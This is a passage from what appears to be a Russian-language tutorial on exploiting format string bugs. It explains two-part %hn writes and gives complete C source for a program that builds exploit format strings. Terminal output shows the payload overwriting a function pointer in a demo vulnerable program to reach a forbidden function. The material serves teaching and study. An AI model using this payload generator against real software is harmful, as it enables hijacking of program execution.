Однако, как мы упоминали, не всегда возможно использовать буферы размером 128Мб. Формат %n ожидает указатель на целое, т.е. четыре байта. Возможно поменять такое поведение, сделав указатель на short int - только 2 байта - благодаря инструкции %hn. Из-за этого мы разрежем целое, которое хотим записать, на две части. Наибольший записываемый размер поэтому уменьшится до 0xffff байт (65535 байт). Поэтому в предыдущем примере мы изменим операцию записи "0x8048654 по адресу 0xbffff5d4" на две следующих операции:
запись 0x8654 по адресу 0xbffff5d4
запись 0x0804 по адресу 0xbffff5d4+2=0xbffff5d6
Вторая операция записывает старшие байты целого, что объясняет обмен 2 байт.
Однако, %n (или %hn) подсчитывает полное число записанных символов в строку. Это число может только увеличиваться. Сначала, мы должны записать меньшее значение из двух. Затем, второе форматирование будет использовать только разность между требуемым числом и первым, записанную как точность. Например в нашем примере первая операция форматирования будет %.2052x (2052 = 0x0804), а вторая %.32336x (32336 = 0x8654 - 0x0804). Каждая %hn, поставленная в нужном порядке, запишет нужное количество байт.
Нам осталось только указать обоим %hn, куда записывать. Оператор m$ очень нам в этом поможет. Если мы сохраним адреса в начале уязвимого буфера, то нам надо будет только пойти вверх по стеку и найти смещение от начала буфера, используя формат m$. Затем оба адреса будут по смещениям m и m+1. Так как мы используем 8 байт буфера для сохранения адреса перезаписи, то первое записываемое значение должно быть уменьшено на 8.
Наша строка форматирования выглядит следующим образом:
Программа build использует три аргумента, для создания строки форматирования:
адрес для перезаписи;
значение для записи сюда;
смещение (в словах) от начала уязвимого буфера.
/* build.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/**
4 байта, куда мы должны записать, расположены следующим способом:
HH HH LL LL
Переменные, заканчивающиеся "*h", относятся к старшей части слова (H).
Переменные, заканчивающиеся "*l", относятся к младшей части слова (L).
*/
char* build(unsigned int addr, unsigned int value,
unsigned int where) {
/* лениво вычислять настоящую длину ... :*/
unsigned int length = 128;
unsigned int valh;
unsigned int vall;
unsigned char b0 = (addr >> 24) & 0xff;
unsigned char b1 = (addr >> 16) & 0xff;
unsigned char b2 = (addr >> 8) & 0xff;
unsigned char b3 = (addr ) & 0xff;
char *buf;
/* разделение значения */
valh = (value >> 16) & 0xffff; //старшая часть
vall = value & 0xffff; //младшая
fprintf(stderr, "adr : %d (%x)\n", addr, addr);
fprintf(stderr, "val : %d (%x)\n", value, value);
fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);
/* выделение буфера */
if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
fprintf(stderr, "Can't allocate buffer (%d)\n", length);
exit(EXIT_FAILURE);
}
memset(buf, 0, length);
/* строим */
if (valh < vall) {
snprintf(buf,
length,
"%c%c%c%c" /* верхний адрес */
"%c%c%c%c" /* нижний адрес */
"%%.%hdx" /* установим значение для первого %hn */
"%%%d$hn" /* %hn для верхней части */
"%%.%hdx" /* установим значение для второго %hn */
"%%%d$hn" /* %hn для нижней части */
,
b3+2, b2, b1, b0, /* верхний адрес */
b3, b2, b1, b0, /* нижний адрес */
valh-8, /* установим значение для первого %hn */
where, /* %hn для верхней части */
vall-valh, /* установим значение для второго %hn */
where+1 /* %hn для нижней части */
);
} else {
snprintf(buf,
length,
"%c%c%c%c" /* верхний адрес */
"%c%c%c%c" /* нижний адрес */
"%%.%hdx" /* установим значение для первого %hn */
"%%%d$hn" /* %hn для верхней части */
"%%.%hdx" /* установим значение для второго %hn */
"%%%d$hn" /* %hn для нижней части */
,
b3+2, b2, b1, b0, /* верхний адрес */
b3, b2, b1, b0, /* нижний адрес */
vall-8, /* установим значение для первого %hn */
where+1, /* %hn для верхней части */
valh-vall, /* установим значение для второго %hn */
where /* %hn для нижней части */
);
}
return buf;
}
int
main(int argc, char **argv) {
char *buf;
if (argc < 3)
return EXIT_FAILURE;
buf = build(strtoul(argv[1], NULL, 16), /* адрес */
strtoul(argv[2], NULL, 16), /* значение */
atoi(argv[3])); /* смещение */
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s", buf);
return EXIT_SUCCESS;
}
Позиция аргументов зависит от того, первое записываемое значение находится в старшей или младшей части слова. Посмотрим что мы получим теперь без всяких проблем с памятью.
Во-первых, наш простой пример позволяет угадать смещение:
>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664
before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"
Оно всегда одно и то же: 3. Так как наша программа поясняет, что происходит, мы сразу имеем оставшуюся необходимую информацию: адреса ptrf и accesForbidden(). Мы строим наш буфер в соответствии с этим:
Ничего не произошло! На самом деле, так как мы использовали буфер длиннее, чем в предыдущем примере в строке форматирования, стек сдвинулся. ptrf переместилась из 0xbffff5d4 в 0xbffff5b4. Необходимо подкорректировать наши значения:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[хя›?хя›%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664
before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [хя›?хя›0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"